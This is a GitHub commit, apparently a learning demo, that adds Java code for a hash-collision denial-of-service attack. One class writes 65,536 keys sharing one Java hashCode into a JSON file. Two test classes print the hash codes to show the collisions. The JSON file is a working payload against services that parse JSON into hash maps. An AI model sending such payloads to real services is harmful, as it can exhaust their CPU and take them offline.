Skip to content

Commit

Permalink
哈希碰撞攻击
Browse files Browse the repository at this point in the history
  • Loading branch information
damon committed Feb 11, 2022
1 parent df8f31a commit 10c4a73
Show file tree
Hide file tree
Showing 4 changed files with 90 additions and 0 deletions.
1 change: 1 addition & 0 deletions hash.json

Large diffs are not rendered by default.

40 changes: 40 additions & 0 deletions src/main/java/iguigui/hash/HashStringGenerater.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
package iguigui.hash;

import java.io.*;

public class HashStringGenerater {


//简单生成一大堆具有相同hashCode的字符串
//输出到文件去
public static void main(String[] args) {
String[] strings = {"A~", "B_", "C@", "D!"};
int round = 8;
int pow = (int) Math.pow(4, round);
try {
BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream("hash.json")));
writer.write("{");
StringBuilder stringBuilder = new StringBuilder();
for (int i = 0; i < pow - 1; i++) {
for (int j = round - 1; j >= 0; j--) {
stringBuilder.append(strings[(i / ((int) Math.pow(4, j))) % 4]);
}
writer.write("\"");
writer.write(stringBuilder.toString());
writer.write("\":0,");
stringBuilder.delete(0,stringBuilder.length());
}
for (int j = round - 1; j >= 0; j--) {
stringBuilder.append(strings[(pow / ((int) Math.pow(4, j))) % 4]);
}
writer.write("\"");
writer.write(stringBuilder.toString());
writer.write("\":0}");
writer.close();
} catch (Exception e) {
e.printStackTrace();
}

}

}
23 changes: 23 additions & 0 deletions src/main/java/iguigui/hash/MyHashTest.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
package iguigui.hash;

import java.util.ArrayList;

public class MyHashTest {

//一组具有相同hashCode的最小单元
public static void main(String[] args) {
ArrayList<String> strings = new ArrayList<>();
strings.add("A~");
strings.add("B_");
strings.add("C@");
strings.add("D!");
for (String string : strings) {
System.out.println(string + " hashcode = " + string.hashCode());
}

}


}


26 changes: 26 additions & 0 deletions src/main/java/iguigui/hash/MyHashTest2.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
package iguigui.hash;

import java.util.ArrayList;

public class MyHashTest2 {

//具有相同hashCode的单元进行简单重复就可以生成一大堆有相同hashCode的字符串
public static void main(String[] args) {
ArrayList<String> strings = new ArrayList<>();
strings.add("A~A~A~A~");
strings.add("A~A~A~B_");
strings.add("A~A~A~C@");
strings.add("A~A~A~D!");
strings.add("A~A~B_A~");
strings.add("A~A~B_B_");
strings.add("A~A~B_C@");
strings.add("A~A~B_D!");
for (String string : strings) {
System.out.println(string + " hashcode = " + string.hashCode());
}
}


}


0 comments on commit 10c4a73

Please sign in to comment.